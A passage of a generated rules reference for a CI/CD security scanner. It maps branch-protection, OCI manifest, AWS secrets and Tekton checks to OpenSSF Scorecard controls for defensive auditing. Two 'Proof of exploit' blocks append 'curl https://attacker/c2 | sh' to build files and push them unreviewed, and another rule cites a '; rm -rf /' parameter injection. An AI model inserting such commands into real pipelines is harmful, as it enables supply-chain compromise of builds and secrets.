Recommendation. Rebuild the image without foreign-layer references. The OCI / Docker spec lets a layer descriptor carry a urls: field that tells the client to pull the layer blob from an arbitrary HTTP location at image-pull time, bypassing the registry's content-addressed store. The mechanism exists for proprietary base layers (notably Windows Server base images that ship from mcr.microsoft.com) but is increasingly deprecated, modern Windows images at mcr.microsoft.com/windows/servercore:ltsc2022 no longer use it. If the foreign URL is genuinely required, host the blob inside your own registry and pin it by digest the same as any other layer.

Known false positives.

  • Legacy Windows Server base images (pre-Windows 11 / Server 2022) ship layers from mcr.microsoft.com with this mechanism. Suppress via ignore-file when the Windows image is intentional, the rule has no way to distinguish a Microsoft-blessed URL from any other.

Source: OCI-004 in the OCI manifest provider.

OCI-007: Image manifest uses legacy schemaVersion 1 (no content addressing) HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. The OCI image-spec (1.0+) and Docker Distribution v2 both encode schemaVersion: 2 on every manifest. The older Docker v1 format set schemaVersion: 1 and stored the rootfs as a chain of un-addressed tarballs with the chain identity hashed end-to-end at pull time. Anything below 2 is by definition a non-content-addressed manifest. The detection is a strict equality check against schemaVersion.

Recommendation. Rebuild and re-push the image with a current builder (docker buildx build / buildah / ko) so the registry produces a v2 manifest with content-addressed layer descriptors. Docker Distribution v1 manifests predate the digest-pinned design that lets a client verify a pulled blob matches the manifest the registry served, so a v1 pull has no way to detect tampering between the registry and the runtime. Registries have been refusing v1 pushes for years (Docker Hub since 2019, GHCR / quay.io / ECR / Artifact Registry never supported them on read), but a pre-existing v1 image can still be sitting in a private registry; the rule catches it before that image gets promoted.

Known false positives.

  • Some internal Harbor / Nexus deployments still proxy legacy Docker images that haven't been rebuilt; a pull succeeds because the proxy upgrades the manifest at request time, but the on-disk JSON if you saved it with inspect --raw may still report the original schemaVersion. If your registry is doing this in-flight promotion you can suppress; otherwise re-run the build.

Source: OCI-007 in the OCI manifest provider.

OCI-008: Manifest references digest using unsupported hash algorithm HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. The OCI image-spec mandates sha256: or sha512: for content descriptors. sha1: and md5: were never permitted by the spec but show up occasionally in mirror exports and forensic JSON; this rule catches them.

Detection scope: the config descriptor digest, every layer descriptor digest (single-image manifests), and every sub-manifest entry digest in an image index. The matcher accepts sha256: and sha512: as the only valid prefixes; anything else fires.

Recommendation. Rebuild and re-push the image so every descriptor (config, layers, sub-manifest entries) carries a sha256: digest. sha512: is also acceptable per the OCI spec, but anything weaker (md5, sha1) breaks the integrity guarantee the registry pull is supposed to provide. sha1 has had practical collisions since SHAttered (2017); md5 has had them since the early 2000s. A manifest that pins a layer by sha1 lets an attacker who can produce a colliding blob substitute a different tarball without changing the manifest, the registry's content-addressing then ratifies the substitution.

Known false positives.

  • Test fixtures and intentionally-corrupt CTF images sometimes use degraded hashes for pedagogical reasons. Suppress on the specific path with an ignore-file when this is the deliberate shape.

Source: OCI-008 in the OCI manifest provider.

SCM-001: Default branch has no protection rule HIGH

Evidences: Branch-Protection Default branch is protected against force-push, deletion, and direct push without review.

How this is detected. Without a branch protection rule on the default branch, anyone with write access can force-push, delete the branch, or merge directly without review. Even when CI runs on the branch, an unprotected default branch lets a single compromised maintainer rewrite history and erase the audit trail. The check is sourced from the GitHub REST API (GET /repos/{owner}/{repo}/branches/{branch}/protection); a 404 response is itself the failure signal.

Recommendation. Add a branch protection rule on the default branch in the repository's Settings -> Branches. At minimum require pull request reviews before merging, require status checks to pass, and disable force-pushes / deletions. Match the rule to OpenSSF Scorecard's Branch-Protection thresholds for the organization's compliance baseline.

Seen in the wild.

  • Numerous post-incident reports (PyPI / RubyGems package compromises 2018-2024) trace the initial maintainer-account takeover step to the absence of branch protection: the attacker pushed a single tampered commit to the default branch, the release pipeline ran on push, the malicious build shipped to the registry within minutes, and recovery required force-pushing the audit trail itself. Branch protection turns the entire class of attack into a review-then-merge gate.

Proof of exploit.

With no protection rule on main, a single compromised

maintainer credential is enough to ship a tampered build:

git checkout main

echo 'curl https://attacker/c2 | sh' >> Makefile

git commit -am 'fix: tweak'

git push origin main # no review required

# CI now runs the tampered build with full secret access.

Recovery needs force-push to rewrite the trail:

git push --force origin main # also unprotected

A protection rule with required_pull_request_reviews set

and allow_force_pushes: false blocks both the push and

the rewrite without giving up an inch of velocity.

Source: SCM-001 in the SCM provider.

SCM-002: Default branch protection does not require pull request reviews HIGH

Evidences: Branch-Protection Default branch is protected against force-push, deletion, and direct push without review, Code-Review Changes merged to the default branch require review.

How this is detected. Reads required_pull_request_reviews.required_approving_review_count from the branch protection payload. Fires when the field is absent (no review requirement at all) or when the count is 0. SCM-001 covers the case where no protection rule exists; this rule scopes specifically to the review-count knob inside an existing rule.

Recommendation. In the default-branch protection rule, enable Require a pull request before merging and set the minimum approving review count to at least 1 (Scorecard's threshold for Branch-Protection's middle tier; raise to 2 for higher trust). Combine with Dismiss stale pull request approvals when new commits are pushed so a force-push doesn't carry an old approval forward.

Known false positives.

  • required_pull_request_reviews.bypass_pull_request_allowances is covered by SCM-018: a protection rule that requires reviews but lists every contributor in the bypass allowlist still passes this rule even though the control is unenforced in practice. Read SCM-002 + SCM-018 as a pair when auditing whether required review actually fires.

Proof of exploit.

With protection but no required reviews, a maintainer can

self-approve a tampered change in two clicks:

git checkout -b release-fix

echo 'curl https://attacker/c2 | sh' >> deploy.sh

git commit -am 'fix: handle edge case'

git push origin release-fix

gh pr create --fill

gh pr merge --squash --auto # no second-set-of-eyes

# Release pipeline runs the tampered build with full

# production secrets in scope.

Setting required_approving_review_count to >= 1 forces

a separate identity to acknowledge the change before merge.

Source: SCM-002 in the SCM provider.

SCM-003: GitHub default code scanning is not enabled MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning.

How this is detected. Reads state from the default code-scanning setup endpoint (GET /repos/{owner}/{repo}/code-scanning/default-setup). Fires when state is anything other than configured (not-configured, missing, or 404). This check only evaluates the default-setup endpoint. Repos running hand-authored CodeQL workflows or third-party SARIF uploads can still fail SCM-003; suppress per repo via ignore-file when that alternative coverage is intentional.

Recommendation. Enable default code scanning under the repository's Settings -> Code security -> Code scanning -> Default. The GitHub-managed CodeQL setup picks the right languages automatically and writes findings into the Code Scanning UI on every push and PR. Teams that already ship a CodeQL workflow can leave this rule's check off — but the default setup is the lowest-friction path for repos that don't have one.

Known false positives.

  • Repos that ship a hand-authored CodeQL workflow (or use Semgrep / Snyk / another SAST whose results land in the Code Scanning UI via SARIF upload) get the same coverage without enabling default setup. Suppress via ignore-file rather than removing the rule.

Proof of exploit.

Without code scanning, the only signal that a PR

introduces (e.g.) a SQL injection or hardcoded secret

comes from the human reviewer:

- def lookup(user_id):

- return db.query("SELECT * FROM u WHERE id = ?", user_id)

+ def lookup(user_id):

+ return db.query(f"SELECT * FROM u WHERE id = {user_id}")

A reviewer skimming a 400-line PR misses this. Default

CodeQL setup catches the same change as a CWE-89 finding

in the PR check, surfaces it inline in the diff, and

blocks the merge if the protection rule wires it up as

a required status check (see SCM-008).

Source: SCM-003 in the SCM provider.

SCM-005: Dependabot security updates are not enabled MEDIUM

Evidences: Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate), Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Reads security_and_analysis.dependabot_security_updates.status from the repo metadata payload. Fires when the value is anything other than enabled. Without security updates, the team has to discover and triage CVEs against their dependency graph manually — a delay measured in days or weeks even on attentive teams, vs hours when the bot opens the PR for them.

Recommendation. Enable Dependabot security updates under the repository's Settings -> Code security -> Dependabot. The bot opens a PR with the minimum-required upgrade for each open advisory against an in-use dependency. Pair with version-update config (.github/dependabot.yml) so routine bumps don't rely on the security-update path.

Known false positives.

  • When the scanning token lacks admin scope on the repo, the security_and_analysis block is omitted from the API response and this rule cannot tell disabled from unknown. Re-run with admin scope to confirm.
  • Repos that delegate dependency-update PRs to Renovate, Snyk, or another bot get equivalent coverage without Dependabot. Suppress via ignore-file rather than removing the rule.

Source: SCM-005 in the SCM provider.

SCM-006: Default branch protection does not require signed commits MEDIUM

Evidences: Branch-Protection Default branch is protected against force-push, deletion, and direct push without review.

How this is detected. Reads required_signatures.enabled from the branch protection payload. Fires when the field is missing or False. Required signatures don't validate signature authenticity (the GitHub web UI does that lazily on render), but a missing signature is rejected at push time, which blocks the most common compromise pattern: a stolen personal access token used to push under the maintainer's name without their signing key.

Recommendation. In the default-branch protection rule, enable Require signed commits. Configure GPG, SSH, or S/MIME signatures for every contributor's git client (git config commit.gpgsign true plus an uploaded public key). Pair with branch protection's Restrict who can push to matching branches so only signed commits from authorized identities land on the default branch.

Source: SCM-006 in the SCM provider.

SCM-007: Default branch protection allows force-pushes HIGH

Evidences: Branch-Protection Default branch is protected against force-push, deletion, and direct push without review.

How this is detected. Reads allow_force_pushes.enabled from the branch protection payload. Fires when the value is True. The complementary deletion-protection knob is covered by SCM-009; this rule focuses on the rewrite-history attack class because force-push is the primitive every post-incident rewrite uses to clean up after itself.

Recommendation. In the default-branch protection rule, set Allow force pushes to Disabled. Force-pushes overwrite the audit trail; an attacker who lands a malicious commit can erase evidence of it after the fact. Also set Allow deletions to Disabled so the branch itself can't be wiped.

Source: SCM-007 in the SCM provider.

SCM-008: Default branch protection does not require status checks MEDIUM

Evidences: Branch-Protection Default branch is protected against force-push, deletion, and direct push without review.

How this is detected. Reads required_status_checks.contexts (or the newer checks shape) from the branch protection payload. Fires when the field is missing or the contexts list is empty. Without required checks the merge gate degrades to human-only review; SCM-002 covers the review knob, this rule covers the automated-verification knob, and both should be on for high-trust default branches.

Recommendation. In the default-branch protection rule, enable Require status checks to pass before merging and list every check the team relies on (CI build, code scanning, secret scanning, lint). Set strict: true (Require branches to be up to date before merging) so a stale base doesn't land regressions the latest checks would catch.

Known false positives.

  • The restrictions block (users / teams / apps allowed to push directly to the protected branch) is not consulted today: a rule that requires status checks but lists every contributor in the push-restrictions allowlist still passes this rule even though those identities can land code without the checks running. Audit the allowlist in the GitHub UI when this rule passes on a high-trust repo.
  • Status-check names are matched as opaque strings; a configured required check that no workflow actually emits (typo, deleted job) will still pass this rule. The check would block the merge in practice (GitHub waits for the named context forever), but the misconfiguration itself isn't visible from the protection payload.

Source: SCM-008 in the SCM provider.

SCM-009: Default branch protection allows branch deletion HIGH

Evidences: Branch-Protection Default branch is protected against force-push, deletion, and direct push without review.

How this is detected. Reads allow_deletions.enabled from the branch protection payload. Fires when the value is True. Pairs with SCM-007 (force-push allowed) — the two flags together cover the complete rewrite-history attack class.

Recommendation. In the default-branch protection rule, set Allow deletions to Disabled. A deleted default branch wipes every protection rule attached to it; an attacker with write access can delete the branch, recreate it from a tampered commit, and re-apply protection in a way that looks identical from the UI.

Source: SCM-009 in the SCM provider.

SCM-010: Branch protection allows administrators to bypass HIGH

Evidences: Branch-Protection Default branch is protected against force-push, deletion, and direct push without review.

How this is detected. Reads enforce_admins.enabled from the branch protection payload. Fires when the value is False or the field is missing. Pairs with every other SCM-NNN rule that reads a branch-protection knob — without enforce_admins, those rules document intent rather than reality.

Recommendation. In the default-branch protection rule, enable Do not allow bypassing the above settings (a.k.a. Include administrators). Otherwise every other knob you set (required reviews, status checks, signed commits) becomes advisory rather than enforced. A compromised admin account is also a much shorter path to a tampered release than a compromised contributor account, so admins are exactly the identity the gate needs to apply to.

Source: SCM-010 in the SCM provider.

SCM-011: Default branch protection does not require CODEOWNERS reviews MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Reads required_pull_request_reviews.require_code_owner_reviews from the branch protection payload. Fires when the value is False or the field is missing. SCM-002 covers the bare review-count knob; this rule scopes specifically to whose review counts. The check evaluates only the protection-rule toggle; verifying that an actual CODEOWNERS file exists at .github/CODEOWNERS (and covers the right paths) is left to the recommendation, since the GitHub API surfaces the file's presence as a separate contents request the SCM provider does not fetch.

Recommendation. In the default-branch protection rule, enable Require review from Code Owners. Add a CODEOWNERS file at .github/CODEOWNERS (or docs/CODEOWNERS) mapping directories to the team or individual responsible. The GitHub UI auto-requests review from the matched owners on every PR that touches a covered path; combined with this branch-protection knob, the merge is blocked until they approve.

Known false positives.

  • Single-team repos where every contributor is a code owner of every path don't need the routing CODEOWNERS provides — but the protection knob still helps when a new team member joins. Suppress via ignore-file when the team intentionally stays flat.

Source: SCM-011 in the SCM provider.

SCM-012: Default branch protection keeps stale reviews after a push MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Reads required_pull_request_reviews.dismiss_stale_reviews from the branch protection payload. Fires when the value is False or the field is missing. SCM-002 ensures a review is required at all; this rule ensures the approval the team relies on actually corresponds to the diff being merged.

Recommendation. In the default-branch protection rule, enable Dismiss stale pull request approvals when new commits are pushed. Approvals will be cleared every time the PR head moves; the reviewer has to re-approve the latest diff before merge, closing the time-of-check / time-of-use gap an attacker can exploit by amending the branch after approval.

Source: SCM-012 in the SCM provider.

SCM-013: Default branch protection does not require conversation resolution LOW

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Reads required_conversation_resolution.enabled from the branch protection payload. Fires when the value is False or the field is missing. Severity is LOW because the rule documents process discipline rather than a structural vulnerability — but unresolved security comments are a common upstream cause of incidents.

Recommendation. In the default-branch protection rule, enable Require conversation resolution before merging. PRs cannot land until every review comment is marked resolved. The friction is small (the PR author clicks Resolve after addressing) and the payoff is concrete: review comments can't be ignored to ship faster.

Source: SCM-013 in the SCM provider.

SCM-014: Default branch protection does not require approval of the most recent push MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Reads required_pull_request_reviews.require_last_push_approval from the branch protection payload. Fires when the value is False or the field is missing. Pairs with SCM-012 (dismiss stale reviews) — both close the same approval-time-of-check / merge-time-of-use gap from different angles.

Recommendation. In the default-branch protection rule, enable Require approval of the most recent reviewable push. The reviewer and the most recent pusher must be different identities; an attacker controlling one collaborator account can no longer ship a malicious diff under another collaborator's approval.

Source: SCM-014 in the SCM provider.

SCM-017: Repository has no CODEOWNERS file MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Probes the three canonical CODEOWNERS locations via GET /repos/{owner}/{repo}/contents/<path>. Fires when none of the three returns a file response. Pairs with SCM-011 (the protection-rule toggle): SCM-011 covers intent, SCM-017 covers reality. A repo with both set is auditing the path-scoped review actually happens.

Recommendation. Add a CODEOWNERS file at .github/CODEOWNERS (the GitHub-recommended location), CODEOWNERS at the repo root, or docs/CODEOWNERS. Map directories to the team or individual responsible for them. With SCM-011's require_code_owner_reviews knob enabled, GitHub auto-requests review from the matched owners on every PR; without the file, the toggle is meaningless and any reviewer can approve any change.

Known false positives.

  • Single-team repos where every contributor is a code owner of every path may legitimately skip CODEOWNERS — the file adds no routing in that case. Suppress via ignore-file when the team intentionally stays flat. The same suppression applies to SCM-011.

Source: SCM-017 in the SCM provider.

SIGN-001: No AWS Signer profile defined for Lambda deploys MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. AWS Signer profiles are the upstream of LMB-001's code-signing config. Without a profile defined, no function in the account can enforce code-signing, LMB-001's recommendation has nothing to point at. The profile is the foundation; the per-function code-signing config attaches it.

Recommendation. Create an AWS Signer profile with platform AWSLambda-SHA384-ECDSA and reference it from every Lambda code-signing config used by the pipeline. Without a profile, LMB-001 remediation isn't possible and release artifacts can't be signed at build time.

Source: SIGN-001 in the AWS provider.

SIGN-002: AWS Signer profile is revoked or inactive HIGH

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. A revoked or canceled Signer profile invalidates every signature it ever produced. Lambda functions configured to enforce code-signing fail to deploy until the profile is replaced (or, if UntrustedArtifactOnDeployment = Warn, deploy with a CloudWatch warning the operator rarely reads).

Recommendation. Rotate the signing profile: create a replacement and update every code-signing config that references the revoked profile. A revoked or canceled profile invalidates every signature it produced, lambdas relying on it will fail verification.

Source: SIGN-002 in the AWS provider.

SM-001: Secrets Manager secret has no rotation configured HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Only secrets actually referenced by CodeBuild are checked, secrets used purely by application workloads are out of scope for a CI/CD scanner.

Recommendation. Enable automatic rotation on every Secrets Manager secret referenced by a CodeBuild project or CodePipeline. Unrotated secrets persist indefinitely, so a single leak (e.g. a build log that echoed the value) compromises the secret for its full lifetime.

Source: SM-001 in the AWS provider.

SM-002: Secrets Manager resource policy allows wildcard principal CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A wildcard-principal Allow on a Secrets Manager resource policy means any principal in any AWS account can call GetSecretValue (subject to conditions, if any). Always combine with at least aws:SourceAccount or aws:PrincipalOrgID, the lift-and-shift cross-account secret-access pattern needs scoping.

Recommendation. Remove Allow statements whose Principal is * from every Secrets Manager resource policy, or scope them with a Condition restricting the source account/org (aws:PrincipalOrgID). A wildcard-principal policy allows any AWS account to call GetSecretValue on the secret.

Source: SM-002 in the AWS provider.

SSM-001: SSM Parameter with secret-like name is not a SecureString HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. An SSM String parameter is plaintext at rest and at API; ssm:GetParameter without any KMS Decrypt authority returns the value. SecureString adds KMS-encryption + the WithDecryption=true flag (which forces an explicit KMS authorization step). Secret-named parameters (TOKEN, PASSWORD, KEY) are almost always intended to be SecureString and rarely should not be.

Recommendation. Recreate the parameter with Type=SecureString and migrate consumers to the new name if needed. Plain String parameters are visible via ssm:GetParameter without any KMS authorization.

Source: SSM-001 in the AWS provider.

SSM-002: SSM SecureString uses the default AWS-managed key MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. alias/aws/ssm is the AWS-managed default for SecureString. Its key policy is fixed and account-wide. A customer-managed key gives you the same per-parameter key-policy + CloudTrail audit story you'd apply to Secrets Manager (which always uses a CMK).

Recommendation. Recreate SecureString parameters with KeyId pointing at a customer-managed KMS key. The default alias/aws/ssm key is shared across the account and its key policy cannot be audited or scoped per parameter.

Source: SSM-002 in the AWS provider.

TKN-001: Tekton step image not pinned to a digest HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Applies to Task and ClusterTask kinds. The image must contain @sha256: followed by a 64-char hex digest. Any tag-only reference, including :latest, fails.

Recommendation. Pin every step image to a content-addressable digest (gcr.io/tekton-releases/git-init@sha256:<digest>). Tag-only references (alpine:3.18) and rolling tags (alpine:latest) let a compromised registry update redirect the step at the next pull, with no audit trail in the Task manifest.

Source: TKN-001 in the Tekton provider.

TKN-002: Tekton step runs privileged or as root HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detection fires on a step with securityContext.privileged: true, securityContext.runAsUser: 0, securityContext.runAsNonRoot: false, securityContext.allowPrivilegeEscalation: true, or no securityContext block at all.

Recommendation. Set securityContext.privileged: false, runAsNonRoot: true, and allowPrivilegeEscalation: false on every step. A privileged step shares the node's kernel namespaces; a malicious or compromised step image then has root on the build node, breaking the boundary between build and cluster.

Source: TKN-002 in the Tekton provider.

TKN-003: Tekton param interpolated unsafely in step script CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Fires on any $(params.X) or $(workspaces.X.path) token inside a script: body that isn't already wrapped in double quotes ("$(params.X)"). Doesn't fire on the env-var indirection pattern, which is safe.

Recommendation. Don't interpolate $(params.<name>) directly into the step script:. Tekton substitutes the value before the shell parses it, so a parameter containing ; rm -rf / runs as shell. Receive the parameter through env: (valueFrom: ... or value: $(params.<name>)) and reference the env var quoted in the script ("$NAME"); or pass it as a positional argument to a shell function.

Source: TKN-003 in the Tekton provider.

TKN-004: Tekton Task mounts hostPath or shares host namespaces CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Checks spec.volumes[].hostPath (legacy v1beta1 form), spec.workspaces[].volumeClaimTemplate.spec.storageClassName == 'hostpath', and spec.podTemplate host-namespace flags.

Recommendation. Use Tekton workspaces: backed by emptyDir or persistentVolumeClaim instead of hostPath. Drop hostNetwork: true / hostPID: true / hostIPC: true on the Task's podTemplate. A hostPath mount of /var/run/docker.sock or / lets the build break out of the pod and act as the underlying node.

Source: TKN-004 in the Tekton provider.

TKN-005: Literal secret value in Tekton step env or param default CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Strong matches: AWS access keys, GitHub PATs, JWTs. Weak match: env var name suggests a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) and the value is a non-empty literal rather than a $(params.X) / valueFrom reference.

Recommendation. Mount secrets via env.valueFrom.secretKeyRef (or a volumes: Secret mount) instead of writing the value into env.value or params[].default. Task manifests are committed to git and cluster-readable; literal values leak through normal access paths.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: TKN-005 in the Tekton provider.

TKN-007: Tekton run uses the default ServiceAccount MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. An explicit serviceAccountName: default setting is treated the same as omission.

Recommendation. Set spec.serviceAccountName on every TaskRun and PipelineRun to a least-privilege ServiceAccount that carries only the secrets and RBAC the run actually needs. Falling back to the namespace's default SA grants access to whatever cluster-admin or wildcard role someone later binds to default, a privilege-escalation surface that should never be load-bearing for build pods.

Source: TKN-007 in the Tekton provider.

TKN-008: Tekton step script pipes remote install or disables TLS HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection), Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Uses the cross-provider CURL_PIPE_RE and TLS_BYPASS_RE regexes so detection is consistent with the GHA / GitLab / CircleCI / Cloud Build providers.

Recommendation. Replace curl ... | sh with a download-then-verify-then-execute pattern. Drop TLS-bypass flags (curl -k, git config http.sslverify false); install the missing CA into the step image instead. Both forms let an attacker controlling DNS / a transparent proxy substitute the script the step runs.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: TKN-008 in the Tekton provider.

TKN-009: Artifacts not signed (no cosign/sigstore step) MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Detection mirrors GHA-006 / BK-009 / CC-006, the shared signing-token catalog (cosign, sigstore, slsa-github-generator, slsa-framework, notation-sign) is searched across every string in the Task / Pipeline document. The rule only fires on artifact-producing Tasks (those that invoke docker build / docker push / buildah / kaniko / helm upgrade / aws s3 sync / etc.) so lint-only Tasks don't trip it.

Recommendation. Add a signing step to the Task, either a dedicated cosign sign step after the build, or use the official cosign Tekton catalog Task as a referenced step. The Task should sign by digest (cosign sign --yes <repo>@sha256:<digest>) so a re-pushed tag can't bypass the signature.

Source: TKN-009 in the Tekton provider.

TKN-010: No SBOM generated for build artifacts MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. An SBOM (CycloneDX or SPDX) records every component baked into the build. Without one, post-incident triage can't answer did this CVE ship? for a given artifact. Detection uses the shared SBOM-token catalog: syft, cyclonedx, cdxgen, spdx-tools, microsoft/sbom-tool. Fires only on artifact-producing Tasks.

Recommendation. Add an SBOM-generation step. syft <artifact> -o cyclonedx-json > $(workspaces.output.path)/sbom.json runs in the official syft Tekton catalog Task. cyclonedx-cli and cdxgen are alternatives. Publish the SBOM as a Workspace result so downstream Tasks can consume it.

Source: TKN-010 in the Tekton provider.

TKN-011: No SLSA provenance attestation produced MEDIUM

Evidences: SBOM Releases publish a software bill of materials, Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where / how it was built. Tekton Chains is the Tekton-native answer, once enabled on the cluster, every TaskRun's outputs are signed and attested without per-Task wiring. Detection uses the shared provenance-token catalog (slsa-framework, cosign attest, in-toto, attest-build-provenance, witness run). Tasks produced by tekton-chains pass on the cosign attest match.

Recommendation. After the build step, run cosign attest --predicate slsa.json --type slsaprovenance <ref> (or use the tekton-chains controller, which signs and attests every TaskRun automatically when configured). Publish the attestation alongside the artifact so consumers can verify how it was built, not just who signed it.

Source: TKN-011 in the Tekton provider.

TKN-012: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Vulnerability scanning sits at a different layer from signing and SBOM. It answers does this artifact ship a known CVE? rather than can we verify what it is?. Detection uses the shared vuln-scan-token catalog: trivy, grype, snyk, npm-audit, pip-audit, osv-scanner, govulncheck, anchore, codeql-action, semgrep, bandit, checkov, tfsec, dependency-check. Walks every Task / Pipeline / *Run document; passes if any document includes a scanner reference.

Recommendation. Add a vulnerability scanner step. trivy fs $(workspaces.src.path) for source / filesystem; trivy image <ref> for container images. The official Tekton catalog ships trivy-scanner and grype-scanner Tasks if you'd rather reference one. Fail the step on findings above a chosen severity so a regression blocks the merge instead of shipping.

Source: TKN-012 in the Tekton provider.

TKN-014: Tekton step script runs unpinned package install MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detection reuses the cross-provider primitives PKG_INSECURE_RE and PKG_NO_LOCKFILE_RE from checks/base.py. Same rule pack already exists for GHA (GHA-021 / GHA-022), GitLab (GL-021 / GL-022), Bitbucket / Azure DevOps / Jenkins / CircleCI / Cloud Build / Buildkite / Drone. Tekton was a gap; this closes it. Only Task and ClusterTask documents are scanned because that's where Tekton step scripts live.

Recommendation. Pin every package install to a lockfile or a checksum-verified version. npm ci (not npm install), yarn install --frozen-lockfile, pip install -r requirements.txt --require-hashes, bundle install --frozen. Don't use --trusted-host / --no-verify / a non-HTTPS index URL — those bypass TLS or trust validation entirely (TKN-008 covers the TLS subset; this rule covers the lockfile subset).

Known false positives.

  • Bootstrap-stage installs that intentionally pull latest (apt-get install -y curl for a tooling image rebuild) sometimes legitimately bypass the lockfile. Suppress via ignore-file scoped to the specific step name.

Source: TKN-014 in the Tekton provider.


This page is generated. Edit pipeline_check/core/standards/data/openssf_scorecard.py (mappings) or scripts/gen_standards_docs.py (intro / per-control prose) and run python scripts/gen_standards_docs.py openssf_scorecard.